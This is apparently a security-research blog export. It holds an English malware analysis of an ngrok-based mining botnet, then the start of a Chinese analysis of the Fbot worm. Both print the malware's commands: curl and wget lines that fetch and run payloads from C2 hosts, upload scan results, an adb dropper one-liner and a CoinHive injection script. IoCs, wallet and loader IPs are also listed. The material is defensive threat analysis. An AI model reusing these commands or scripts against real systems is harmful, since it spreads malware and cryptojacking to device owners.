main features of this malicious sample are:</p> <ul> <li>Use the ngrok reverse proxy service to periodically and randomly switch Downloader and Reporter domain names.</li> <li>Use many vulnerabilities (redis, docker, jenkins, drupal, modx, CouchDB) to propagate.</li> <li>A module to scan the Ethereum client to steal the Ethereum, currently is not enabled.</li> <li>A module to infect the JavaScript files with CoinHive mining script on the target devices to mine in the web browsers.</li> <li>Mining scripts and scan scripts are under constant update.</li> <li>The sample consists of four modules: <strong>Scanner, Reporter, Loader and Miner</strong>. The <strong>Scanner</strong> is responsible for scanning and reporting vulnerability information to the <strong>Reporter</strong>. The <strong>Loader</strong> is responsible for implanting Scanner and Miner to the vulnerable devices. And the <strong>Miner</strong> is for mining.</li> </ul> <h1 id="ngrok">Ngrok</h1> <p><a href="https://ngrok.com/">Ngrok</a> is a reverse proxy service. Its core concept is to forward the public network requests to the designated port in the intranet as a forwarding server, so that intranet resources can be accessed from the public network. Its working principle is as follows:</p> <p><img src="__GHOST_URL__/content/images/2018/09/Snip20180907_12.png" alt="" loading="lazy"></p> <center>*[Figure 1: How ngrok works](https://github.com/inconshreveable/ngrok)*</center> <p>Ngrok user first goes to ngrok.io to register a service. Then starts ngrok client locally. Ngrok client will get the ngrok subdomains randomly assigned by the server. With these subdomains, resources in the intranet become accessible from the outside network. In the free tier, the ngrok client can have one process, which has four tunnels. Each tunnel gets a subdomain. And every time the client is restarted, the subdomain corresponding to all tunnels will be regenerated.</p> <h1 id="thec2domains">The C2 domains</h1> <p>This miner campaign and its domain switching activity started from June this year. The C2 domain names are replaced in group periodically and each group's lifetime is less than 12 hours. In order for readers to get a better idea, we drew the following diagram, at Y-axis are the C2 <strong>Downloader</strong> domains, and each bar on the diagram demonstrates a successful download initiated by our honeypot from the corresponding domain (aka the domain is active). You can easily tell that each group of domains are only active for couple of hours then go offline and get replaced by a bunch of new domains.</p> <p><img src="__GHOST_URL__/content/images/2018/09/heatmap.png" alt="" loading="lazy"></p> <center>*Figure 2: C2 domains life cycle (open to view large picture)*</center> <h1 id="scanner">Scanner</h1> <p>The <strong>Scanner</strong> is implanted by the <strong>Loader</strong>. The scanning target IP range, the Reporter and Downloader domains are hard-coded in the Scanner's script. The execution details are:</p> <ul> <li>Download tools including zmap, jq and zgrap from compromised ngrok subdomains.</li> </ul> <pre><code>curl -m 120 -fks -o /usr/bin/zmap &quot;hxxp://3a3c559e.ngrok.io/d8/zmap&quot; curl -m 120 -fks -o /usr/bin/jq &quot;hxxp://53349e8c.ngrok.io/d8/jq&quot; curl -m 120 -fks -o /usr/bin/zgrab &quot;hxxp://e5a22d36.ngrok.io/d8/zgrab&quot; </code></pre> <ul> <li>Download ethereum client geth scanning payload.</li> </ul> <pre><code>#curl -m 120 -fks -o /tmp/.p8545 &quot;hxxp://cc8ef76b.ngrok.io/d8/p8545&quot; POST / HTTP/1.1 Host: %s:8545 User-Agent: geth Accept: */* Content-Type: application/json Content-Length: 60 {&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;eth_accounts&quot;,&quot;params&quot;:[],&quot;id&quot;:1} </code></pre> <ul> <li>Vulnerability scanning: first it uses zmap to scan active ports, and then uses zgrap for application lookup. Currently the malware is targeting ports 6379/2375/80/8080/5984 and redis/docker/jenkins/drupal/modx/couchdb services.</li> </ul> <pre><code> #Scan redis port 6379 PORT=&quot;6379&quot; echo -ne &quot;info\r\nquit\r\n&quot; &gt;/tmp/rinfoa379f8ca echo &quot;;;${PORT}&quot; &gt; $OUT /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2&gt;&gt;${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2&gt;/dev/null | grep 'redis_version' | jq -r .ip &gt;&gt; ${OUT} </code></pre> <ul> <li>Upload scanning results to Reporter on the compromised ngrok subdomains.</li> </ul> <pre><code>curl -m 120 -sk -F result=@${_FILE} &quot;hxxp://cc8ef76b.ngrok.io/z?r={RIP}&amp;i={i}&amp;x=${excode}&quot; </code></pre> <ul> <li>Remove trails and exit.</li> </ul> <h1 id="miner">Miner</h1> <p>Just like the Scanner, the <strong>Miner</strong> is also implanted by the <strong>Loader</strong> and its Reporter and Downloader domains are also hard-coded in Miner script.</p> <pre><code>export HOST=&quot;hxxp://608f5b6c.ngrok.io&quot; </code></pre> <p>Its execution process is:</p> <ul> <li>Download and run fc, which is a global flag to identify infection status. If it runs successfully, the infection is done. Otherwise, the infection fails and it will upload the error logs to the Reporter.</li> </ul> <pre><code>curl -fks -o $INSTALL/93b689 &quot;$HOST/d8/fc&quot; $INSTALL/93b689 '///' &gt;&gt;201e3a252c5e 2&gt;&amp;1 &amp; $INSTALL/93b689 '[^$I$^]' &gt;&gt;201e3a252c5e 2&gt;&amp;1 &amp; </code></pre> <ul> <li>Shutdown competitors.</li> <li>Upload its old version miner's profile to the Reporter, including process name, miner MD5 and miner file path.</li> <li>Shutdown old version miner.</li> <li>Download and run daemon (a process management tools) and nginx (the actually <strong>Miner</strong>).</li> </ul> <pre><code>curl -fks -o &quot;${RIP}d&quot; &quot;$HOST/d8/daemon&quot; curl -fks -o dda4512010 &quot;$HOST/d8/nginx&quot; cat dda4512010 |&quot;${RIP}d&quot; </code></pre> <ul> <li>Check whether /etc/hosts includes any other miner domains, and if it does, overwrite /etc/hosts with &quot;127.0.0.1 localhost&quot; to remove their resolutions.</li> <li>Remove all other crontab jobs.</li> <li>Inject CoinHive mining script with a site_key <strong>U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW</strong> into all JavaScript files in current directory. It looks like a bug as the current directory is its own working directory, which does not contain any JavaScript files.</li> </ul> <pre><code>var js=document.createElement(&quot;script&quot;); js.type=&quot;text/javascript&quot;; js.src=&quot;hxxps://coinhive.com/lib/coinhive.min.js&quot;, document.body.appendChild(js), window.msci=setInterval( function(){ var e=&quot;CoinHive&quot;; if(window[e]){ clearInterval(window.msci); var n=window[e].Anonymous; window.__m1||(window.__m1=new n(&quot;U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW&quot;))&amp;&amp;__m1.start() } }, 200 ); </code></pre> <ul> <li>Report miner execution status:</li> <li>if successful, report miner process ID, the infected device IP ID, the number of CPUs, infection vulnerability and current username.</li> <li>if failed, report error info including infection result, old version miner profile (process name, miner MD5 and file path), crontab error log, etc.</li> </ul> <p>The miner configuration is as follows and its current total paid is 69.676550440000 XMR.</p> <pre><code>mining pool: pool.minexmr.com:55555 wallet address: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW </code></pre> <h1 id="ioc">IoC</h1> <p>This botnet is under constant change, so we can only provide some very recent indicates.</p> <h2 id="somerecentmd5s">Some recent md5s</h2> <pre><code>md5=19e8679be6cfc56a529cf35df2dbece8 uri=hxxp://608f5b6c.ngrok.io/d8/daemon md5=e309354fe7047a5fca3c774a427ae7a2 uri=hxxp://608f5b6c.ngrok.io/d8/fc md5=39fcbe99c2d72006667be9bcc286db4e uri=hxxp://608f5b6c.ngrok.io/d8/nginx md5=510802ce144bb729c3c527d465321168 uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&amp;r={RIP}&amp;curl=1 md5=072922760ec200ccce83ac5ce20c46ca uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&amp;i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733 </code></pre> <h2 id="somerecentactiveloaderips">Some recent active Loader IPs</h2> <pre><code>194.99.105.76 ASAS9009 M247_Ltd 185.183.104.139 AS9009 M247_Ltd 185.242.6.4 AS9009 M247_Ltd 46.166.142.220 AS43350 NForce_Entertainment_B.V. 217.23.3.91 AS49981 WorldStream_B.V. 89.39.107.195 AS49981 WorldStream_B.V. 185.159.157.19 AS59898 AllSafe_Sarl 194.99.105.75 ASAS9009 M247_Ltd 109.201.133.24 AS43350 NForce_Entertainment_B.V. 217.23.3.92 AS49981 WorldStream_B.V. 46.166.142.215 AS43350 NForce_Entertainment_B.V. 89.39.107.192 AS49981 WorldStream_B.V. 109.201.133.22 AS43350 NForce_Entertainment_B.V. 89.39.107.202 AS49981 WorldStream_B.V. 89.39.107.199 AS49981 WorldStream_B.V. 109.201.133.26 AS43350 NForce_Entertainment_B.V. </code></pre> <!--kg-card-end: markdown-->

Overview These days, it feels like new mining malwares are popping up almost daily and we have pretty much stopped blogging the regular ones so we don’t flood our readers’ feed. With that being said, one did have our attention recently. This botnet hides its C2s(Downloader and Reporter server) by using the ngrok reverse proxy service to periodically generate large number of random subdomain names. Botnet master does not have control over what the subdomains will be, as the subdomains ({subdomain}.ngrok.io) are generated randomly by ngrok service, which in this case is actually a bless for the botnet. Because there is no good way for the security defender to tell which ones are good and which ones are bad by just looking at the dns names. All have same pattern and all are mixed in the big naming pool. The main features of this malicious sample are: * Use the ngrok reverse proxy service to periodically and randomly switch Downloader and Reporter domain names. * Use many vulnerabilities (redis, docker, jenkins, drupal, modx, CouchDB) to propagate. * A module to scan the Ethereum client to steal the Ethereum, currently is not enabled. * A module to infect the JavaScript files with CoinHive mining script on the target devices to mine in the web browsers. * Mining scripts and scan scripts are under constant update. * The sample consists of four modules: Scanner, Reporter, Loader and Miner. The Scanner is responsible for scanning and reporting vulnerability information to the Reporter. The Loader is responsible for implanting Scanner and Miner to the vulnerable devices. And the Miner is for mining. Ngrok Ngrok is a reverse proxy service. Its core concept is to forward the public network requests to the designated port in the intranet as a forwarding server, so that intranet resources can be accessed from the public network. Its working principle is as follows: *[Figure 1: How ngrok works](https://github.com/inconshreveable/ngrok)* Ngrok user first goes to ngrok.io to register a service. Then starts ngrok client locally. Ngrok client will get the ngrok subdomains randomly assigned by the server. With these subdomains, resources in the intranet become accessible from the outside network. In the free tier, the ngrok client can have one process, which has four tunnels. Each tunnel gets a subdomain. And every time the client is restarted, the subdomain corresponding to all tunnels will be regenerated. The C2 domains This miner campaign and its domain switching activity started from June this year. The C2 domain names are replaced in group periodically and each group's lifetime is less than 12 hours. In order for readers to get a better idea, we drew the following diagram, at Y-axis are the C2 Downloader domains, and each bar on the diagram demonstrates a successful download initiated by our honeypot from the corresponding domain (aka the domain is active). You can easily tell that each group of domains are only active for couple of hours then go offline and get replaced by a bunch of new domains. *Figure 2: C2 domains life cycle (open to view large picture)* Scanner The Scanner is implanted by the Loader. The scanning target IP range, the Reporter and Downloader domains are hard-coded in the Scanner's script. The execution details are: * Download tools including zmap, jq and zgrap from compromised ngrok subdomains. curl -m 120 -fks -o /usr/bin/zmap "hxxp://3a3c559e.ngrok.io/d8/zmap" curl -m 120 -fks -o /usr/bin/jq "hxxp://53349e8c.ngrok.io/d8/jq" curl -m 120 -fks -o /usr/bin/zgrab "hxxp://e5a22d36.ngrok.io/d8/zgrab" * Download ethereum client geth scanning payload. #curl -m 120 -fks -o /tmp/.p8545 "hxxp://cc8ef76b.ngrok.io/d8/p8545" POST / HTTP/1.1 Host: %s:8545 User-Agent: geth Accept: */* Content-Type: application/json Content-Length: 60 {"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1} * Vulnerability scanning: first it uses zmap to scan active ports, and then uses zgrap for application lookup. Currently the malware is targeting ports 6379/2375/80/8080/5984 and redis/docker/jenkins/drupal/modx/couchdb services. #Scan redis port 6379 PORT="6379" echo -ne "info\r\nquit\r\n" >/tmp/rinfoa379f8ca echo ";;${PORT}" > $OUT /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT} * Upload scanning results to Reporter on the compromised ngrok subdomains. curl -m 120 -sk -F result=@${_FILE} "hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}" * Remove trails and exit. Miner Just like the Scanner, the Miner is also implanted by the Loader and its Reporter and Downloader domains are also hard-coded in Miner script. export HOST="hxxp://608f5b6c.ngrok.io" Its execution process is: * Download and run fc, which is a global flag to identify infection status. If it runs successfully, the infection is done. Otherwise, the infection fails and it will upload the error logs to the Reporter. curl -fks -o $INSTALL/93b689 "$HOST/d8/fc" $INSTALL/93b689 '///' >>201e3a252c5e 2>&1 & $INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 & * Shutdown competitors. * Upload its old version miner's profile to the Reporter, including process name, miner MD5 and miner file path. * Shutdown old version miner. * Download and run daemon (a process management tools) and nginx (the actually Miner). curl -fks -o "${RIP}d" "$HOST/d8/daemon" curl -fks -o dda4512010 "$HOST/d8/nginx" cat dda4512010 |"${RIP}d" * Check whether /etc/hosts includes any other miner domains, and if it does, overwrite /etc/hosts with "127.0.0.1 localhost" to remove their resolutions. * Remove all other crontab jobs. * Inject CoinHive mining script with a site_key U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW into all JavaScript files in current directory. It looks like a bug as the current directory is its own working directory, which does not contain any JavaScript files. var js=document.createElement("script"); js.type="text/javascript"; js.src="hxxps://coinhive.com/lib/coinhive.min.js", document.body.appendChild(js), window.msci=setInterval( function(){ var e="CoinHive"; if(window[e]){ clearInterval(window.msci); var n=window[e].Anonymous; window.__m1||(window.__m1=new n("U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW"))&&__m1.start() } }, 200 ); * Report miner execution status: * if successful, report miner process ID, the infected device IP ID, the number of CPUs, infection vulnerability and current username. * if failed, report error info including infection result, old version miner profile (process name, miner MD5 and file path), crontab error log, etc. The miner configuration is as follows and its current total paid is 69.676550440000 XMR. mining pool: pool.minexmr.com:55555 wallet address: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW IoC This botnet is under constant change, so we can only provide some very recent indicates. Some recent md5s md5=19e8679be6cfc56a529cf35df2dbece8 uri=hxxp://608f5b6c.ngrok.io/d8/daemon md5=e309354fe7047a5fca3c774a427ae7a2 uri=hxxp://608f5b6c.ngrok.io/d8/fc md5=39fcbe99c2d72006667be9bcc286db4e uri=hxxp://608f5b6c.ngrok.io/d8/nginx md5=510802ce144bb729c3c527d465321168 uri=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1 md5=072922760ec200ccce83ac5ce20c46ca uri=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733 Some recent active Loader IPs 194.99.105.76 ASAS9009 M247_Ltd 185.183.104.139 AS9009 M247_Ltd 185.242.6.4 AS9009 M247_Ltd 46.166.142.220 AS43350 NForce_Entertainment_B.V. 217.23.3.91 AS49981 WorldStream_B.V. 89.39.107.195 AS49981 WorldStream_B.V. 185.159.157.19 AS59898 AllSafe_Sarl 194.99.105.75 ASAS9009 M247_Ltd 109.201.133.24 AS43350 NForce_Entertainment_B.V. 217.23.3.92 AS49981 WorldStream_B.V. 46.166.142.215 AS43350 NForce_Entertainment_B.V. 89.39.107.192 AS49981 WorldStream_B.V. 109.201.133.22 AS43350 NForce_Entertainment_B.V. 89.39.107.202 AS49981 WorldStream_B.V. 89.39.107.199 AS49981 WorldStream_B.V. 109.201.133.26 AS43350 NForce_Entertainment_B.V.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#Overview\n\nThese days, it feels like new mining malwares are popping up almost daily and we have pretty much stopped blogging the regular ones so we don’t flood our readers’ feed. \n\nWith that being said, one did have our attention recently. This botnet hides its C2s(Downloader and Reporter server) by using the ngrok reverse proxy service to periodically generate large number of random subdomain names. Botnet master does not have control over what the subdomains will be, as the subdomains ({subdomain}.ngrok.io) are generated randomly by ngrok service, which in this case is actually a bless for the botnet. Because there is no good way for the security defender to tell which ones are good and which ones are bad by just looking at the dns names. All have same pattern and all are mixed in the big naming pool.\n\n\nThe main features of this malicious sample are:\n\n- Use the ngrok reverse proxy service to periodically and randomly switch Downloader and Reporter domain names.\n- Use many vulnerabilities (redis, docker, jenkins, drupal, modx, CouchDB) to propagate.\n- A module to scan the Ethereum client to steal the Ethereum, currently is not enabled.\n- A module to infect the JavaScript files with CoinHive mining script on the target devices to mine in the web browsers.\n- Mining scripts and scan scripts are under constant update.\n- The sample consists of four modules: **Scanner, Reporter, Loader and Miner**. The **Scanner** is responsible for scanning and reporting vulnerability information to the **Reporter**. The **Loader** is responsible for implanting Scanner and Miner to the vulnerable devices. And the **Miner** is for mining.\n\n\n#Ngrok\n[Ngrok](https://ngrok.com/) is a reverse proxy service. Its core concept is to forward the public network requests to the designated port in the intranet as a forwarding server, so that intranet resources can be accessed from the public network. Its working principle is as follows:\n\n\n<center>*[Figure 1: How ngrok works](https://github.com/inconshreveable/ngrok)*</center>\n\nNgrok user first goes to ngrok.io to register a service. Then starts ngrok client locally. Ngrok client will get the ngrok subdomains randomly assigned by the server. With these subdomains, resources in the intranet become accessible from the outside network. In the free tier, the ngrok client can have one process, which has four tunnels. Each tunnel gets a subdomain. And every time the client is restarted, the subdomain corresponding to all tunnels will be regenerated. \n\n#The C2 domains\nThis miner campaign and its domain switching activity started from June this year. The C2 domain names are replaced in group periodically and each group's lifetime is less than 12 hours. In order for readers to get a better idea, we drew the following diagram, at Y-axis are the C2 **Downloader** domains, and each bar on the diagram demonstrates a successful download initiated by our honeypot from the corresponding domain (aka the domain is active). You can easily tell that each group of domains are only active for couple of hours then go offline and get replaced by a bunch of new domains. \n\n\n<center>*Figure 2: C2 domains life cycle (open to view large picture)*</center>\n\n#Scanner\n\nThe **Scanner** is implanted by the **Loader**. The scanning target IP range, the Reporter and Downloader domains are hard-coded in the Scanner's script. The execution details are:\n\n- Download tools including zmap, jq and zgrap from compromised ngrok subdomains.\n```\ncurl -m 120 -fks -o /usr/bin/zmap \"hxxp://3a3c559e.ngrok.io/d8/zmap\"\ncurl -m 120 -fks -o /usr/bin/jq \"hxxp://53349e8c.ngrok.io/d8/jq\"\ncurl -m 120 -fks -o /usr/bin/zgrab \"hxxp://e5a22d36.ngrok.io/d8/zgrab\"\n```\n- Download ethereum client geth scanning payload.\n```\n#curl -m 120 -fks -o /tmp/.p8545 \"hxxp://cc8ef76b.ngrok.io/d8/p8545\"\nPOST / HTTP/1.1\nHost: %s:8545\nUser-Agent: geth\nAccept: */*\nContent-Type: application/json\nContent-Length: 60\n\n{\"jsonrpc\":\"2.0\",\"method\":\"eth_accounts\",\"params\":[],\"id\":1}\n```\n- Vulnerability scanning: first it uses zmap to scan active ports, and then uses zgrap for application lookup. Currently the malware is targeting ports 6379/2375/80/8080/5984 and redis/docker/jenkins/drupal/modx/couchdb services.\n```\n #Scan redis port 6379\n PORT=\"6379\"\n echo -ne \"info\\r\\nquit\\r\\n\" >/tmp/rinfoa379f8ca\n echo \";;${PORT}\" > $OUT\n /usr/bin/zmap -i $IFACE -B 50M --max-sendto-failures 1000000 -c5 -o- -p $PORT $IPR 2>>${LOGF} | zgrab --senders 100 --port $PORT --data /tmp/rinfoa379f8ca --output-file=- 2>/dev/null | grep 'redis_version' | jq -r .ip >> ${OUT}\n```\n- Upload scanning results to Reporter on the compromised ngrok subdomains.\n```\ncurl -m 120 -sk -F result=@${_FILE} \"hxxp://cc8ef76b.ngrok.io/z?r={RIP}&i={i}&x=${excode}\"\n```\n- Remove trails and exit.\n\n\n#Miner\nJust like the Scanner, the **Miner** is also implanted by the **Loader** and its Reporter and Downloader domains are also hard-coded in Miner script. \n```\nexport HOST=\"hxxp://608f5b6c.ngrok.io\"\n```\nIts execution process is:\n\n- Download and run fc, which is a global flag to identify infection status. If it runs successfully, the infection is done. Otherwise, the infection fails and it will upload the error logs to the Reporter.\n```\ncurl -fks -o $INSTALL/93b689 \"$HOST/d8/fc\"\n$INSTALL/93b689 '///' >>201e3a252c5e 2>&1 &\n$INSTALL/93b689 '[^$I$^]' >>201e3a252c5e 2>&1 &\n```\n- Shutdown competitors.\n- Upload its old version miner's profile to the Reporter, including process name, miner MD5 and miner file path.\n- Shutdown old version miner.\n- Download and run daemon (a process management tools) and nginx (the actually **Miner**).\n```\ncurl -fks -o \"${RIP}d\" \"$HOST/d8/daemon\"\ncurl -fks -o dda4512010 \"$HOST/d8/nginx\"\ncat dda4512010 |\"${RIP}d\"\n```\n\n- Check whether /etc/hosts includes any other miner domains, and if it does, overwrite /etc/hosts with \"127.0.0.1 localhost\" to remove their resolutions.\n- Remove all other crontab jobs.\n- Inject CoinHive mining script with a site_key **U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW** into all JavaScript files in current directory. It looks like a bug as the current directory is its own working directory, which does not contain any JavaScript files.\n```\nvar js=document.createElement(\"script\");\njs.type=\"text/javascript\";\njs.src=\"hxxps://coinhive.com/lib/coinhive.min.js\",\ndocument.body.appendChild(js),\nwindow.msci=setInterval(\n\tfunction(){\n\t\tvar e=\"CoinHive\";\n\t\tif(window[e]){\n\t\t\tclearInterval(window.msci);\n\t\t\tvar n=window[e].Anonymous;\n\t\t\twindow.__m1||(window.__m1=new n(\"U1EhkTAx8j1IVGH6KkzoHDuwPy42c7vW\"))&&__m1.start()\n\t\t}\n\t},\n\t200\n);\n```\n- Report miner execution status:\n - if successful, report miner process ID, the infected device IP ID, the number of CPUs, infection vulnerability and current username.\n - if failed, report error info including infection result, old version miner profile (process name, miner MD5 and file path), crontab error log, etc.\n\nThe miner configuration is as follows and its current total paid is 69.676550440000 XMR.\n```\nmining pool: pool.minexmr.com:55555\nwallet address: 4AuKPF4vUMcZZywWdrixuAZxaRFt9FPNgcv9v8vBnCtcPkHPxuGqacfPrLeAQWKZpNGTJzxKuKgTCa6LghSCDrEyJ5s7dnW \n```\n\n\n# IoC\nThis botnet is under constant change, so we can only provide some very recent indicates.\n\n## Some recent md5s\n```\nmd5=19e8679be6cfc56a529cf35df2dbece8\turi=hxxp://608f5b6c.ngrok.io/d8/daemon\nmd5=e309354fe7047a5fca3c774a427ae7a2\turi=hxxp://608f5b6c.ngrok.io/d8/fc\nmd5=39fcbe99c2d72006667be9bcc286db4e\turi=hxxp://608f5b6c.ngrok.io/d8/nginx\nmd5=510802ce144bb729c3c527d465321168\turi=hxxp://ce0a62ad.ngrok.io/f/serve?l=u&r={RIP}&curl=1\nmd5=072922760ec200ccce83ac5ce20c46ca\turi=hxxp://69c0c72e.ngrok.io/z?r={RIP}&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178ba8a2195a11fb61cb6b669ed0f32fb9bdc891e64613e0caad46642f7a9b68ccea30244b4d0addf6d506be7e2c71c3c3793762e8e2a40117f62f0688cfad660a6f9529d3e17e183d769864ea45294d9dca4712ee73d5733\n```\n\n## Some recent active Loader IPs\n```\n194.99.105.76\tASAS9009\tM247_Ltd\n185.183.104.139\tAS9009\tM247_Ltd\n185.242.6.4\tAS9009\tM247_Ltd\n46.166.142.220\tAS43350\tNForce_Entertainment_B.V.\n217.23.3.91\tAS49981\tWorldStream_B.V.\n89.39.107.195\tAS49981\tWorldStream_B.V.\n185.159.157.19\tAS59898\tAllSafe_Sarl\n194.99.105.75\tASAS9009\tM247_Ltd\n109.201.133.24\tAS43350\tNForce_Entertainment_B.V.\n217.23.3.92\tAS49981\tWorldStream_B.V.\n46.166.142.215\tAS43350\tNForce_Entertainment_B.V.\n89.39.107.192\tAS49981\tWorldStream_B.V.\n109.201.133.22\tAS43350\tNForce_Entertainment_B.V.\n89.39.107.202\tAS49981\tWorldStream_B.V.\n89.39.107.199\tAS49981\tWorldStream_B.V.\n109.201.133.26\tAS43350\tNForce_Entertainment_B.V.\n```\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

146

post

2018-09-14T12:08:57.000Z

63873b9a8b1c1e0007f52f36

fbot-a-satori-related-block-chain-dns-based-worm

2018-10-06T09:05:16.000Z

public

published

2018-09-14T12:42:19.000Z

Fbot，一个Satori相关的、基于区块链DNS的蠕虫

<!--kg-card-begin: markdown--><p>从2018-09-13 11:30 UTC开始，我们首次注意到一个新的蠕虫正在清理 com.ufo.miner。在完成了清理动作后，该蠕虫会等待来自C2（musl.lib，66.42.57.45:7000， Singapore/SG）的下一步指令。我们将该蠕虫命名为fbot，主要是因为该蠕虫的主要执行模块使用了这个名字。该C2域名的解析，需要通过EmerDNS，一个emercoin.com旗下的区块链DNS完成。</p> <p>com.ufo.miner 与我们之前多次 <a href="__GHOST_URL__/tag/adbminer/">报告</a> 的 ADB.Miner 类似，利用adb安卓调试接口传播，并挖矿。ADB.Miner 是我们今年二月首次 <a href="__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/">报告</a> 的，自那以后，类似的其他僵尸网络已经长期传播，<a href="https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601">感染</a>了包括 Amazon FireTV 在内的多种设备。</p> <p>最后，新的蠕虫Fbot与臭名昭著的 Satori 僵尸网络有关联。</p> <h4 id="">分析</h4> <p>FBot的恶意样本通过 adb 安卓系统调试接口投入，这与之前的 ADB.Miner 的投入方式一致。</p> <p>投入载荷会下载执行 hxxp://188.209.52.142/c，或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl，下文不再区分。两个脚本的主体功能一致，包括：</p> <ul> <li>尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本；</li> <li>卸载 com.ufo.miner，一个类似ADB.Miner的挖矿组件；</li> <li>完成自身清理工作。</li> </ul> <p>该脚本的详细内容如下：</p> <pre><code>#!/system/bin/sh n=&quot;arm7 mipsel mips x86 x86_64 aarch64&quot; http_server=&quot;188.209.52.142&quot; for i in $n do cp /system/bin/sh fbot.$i &gt;fbot.$i curl hxxp://$http_server/fbot.$i &gt; fbot.$i # wget hxxp://$http_server/fbot.$i &gt; fbot.$i chmod 777 fbot.$i ./fbot.$i rm fbot.$i done # Cleanup for i in $n do rm fbot.$i done pm uninstall com.ufo.miner # Suicide rm $0 </code></pre> <p>下载得到的 fbot.{arch} 是个mirai的变种，主要特点包括：</p> <ul> <li>C2：musl.lib:7000，当前在EmerDNS上的解析地址为 66.42.57.45，Singapore/SG Singapore</li> <li>扫描和传播：针对 TCP 5555 adb 端口扫描。扫描成功后，会下载hxxp://188.209.52.142/c，完成对蠕虫自身的传播。</li> <li>进程清理：样本中会遍历 /proc/pid/exe 目录下面的特定进程，如smi、xig、rig等。枚举得到符合条件的进程后，会杀掉该进程。</li> </ul> <p>该变种保留了 mirai 僵尸网络的DDoS功能，但我们尚未检测到该C2有发出DDoS攻击指令。</p> <p>扫描阶段的载荷如下：</p> <pre><code>shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -&gt; w; sh w; rm w; curl http://188.209.52.142/c &gt; c; sh c; rm c </code></pre> <p>枚举进程列表</p> <pre><code>/data/local/tmp/smi /data/local/tmp/xig /data/local/tmp/trinity /data/local/tmp/z /data/local/tmp/log /data/local/tmp/rig /data/local/tmp/.f /data/local/tmp/tyg </code></pre> <h4 id="musllibemeredns">主控域名 musl.lib 在EmereDNS上的解析</h4> <p>C2域名musl.lib不是一个标准的DNS域名。其顶级域 .lib 并没有在 <a href="https://www.iana.org/domains/root/db">ICANN</a> 注册，也不能被通用的DNS系统解析，实际是由emercoin.com旗下EmerDNS系统解析。EmerDNS是一个基于区块链的DNS系统，在<a href="https://emercoin.com/zh/emerdns">其官方网站</a>上宣称，EmerDNS建立与区块链技术之上，完全去中心化，只有记录创建者才能操作记录内容。</p> <p>当用户要想访问 *.lib 的网站时，可以有几种选择。由于公共DNS服务商OpenNIC的支持，用户可以通过OpenNic公司旗下的公共DNS服务器访问 *.lib 网站，或者用户可以给浏览器安装特定器扩展，或者是自行架设Emer节点。</p> <p>Fbot蠕虫作者选择了OpenNic公司的公共DNS服务。蠕虫中硬编码了一组OpenNic公共服务器IP地址，被感染的机器通过向这些服务器请求，得到 musl.lib 的EmerDNS解析IP。样本中硬编码的DNS解析服务器至少包括：</p> <pre><code>176.126.70.119 163.53.248.170 174.138.48.29 5.132.191.104 107.172.42.186 163.172.168.171 174.138.48.29 185.208.208.141 163.53.248.170 5.132.191.104 </code></pre> <p>当前 musl.lib 的EmerDNS解析结果如下：</p> <pre><code>https://explorer.emercoin.com/nvs//musl.lib//25/1/1 </code></pre> <p>读者可以利用如下命令重现上述解析过程：</p> <pre><code>[email protected]$dig musl.lib @seed2.emercoin.com +short 66.42.57.45 </code></pre> <p>我们猜测恶意代码使用EmerDNS的原因，可能是下列之一：</p> <ul> <li>提高安全分析人员追踪的难度；</li> <li>安全分析人员难以通过与ICANN成员单位的合作来 sinkhole 该域名；</li> </ul> <p>这样，恶意代码作者可以长期保持对该僵尸网络的控制。</p> <h4 id="fbotsatori">Fbot 与 Satori 僵尸网络的关系</h4> <p>Fbot 蠕虫与 Satori 僵尸网络的关系，展现于下图中：</p> <p><img src="__GHOST_URL__/content/images/2018/09/fbot-and-satori-2.png" alt="" loading="lazy"></p> <p>在上图中：</p> <ul> <li>Fbot的主控IP地址66.42.57.45，与Satori的主控域名 rippr.cc，通过和注册邮箱 ukrainianhorseriding.com/[email protected] 相连</li> <li>另外，27.102.115.44 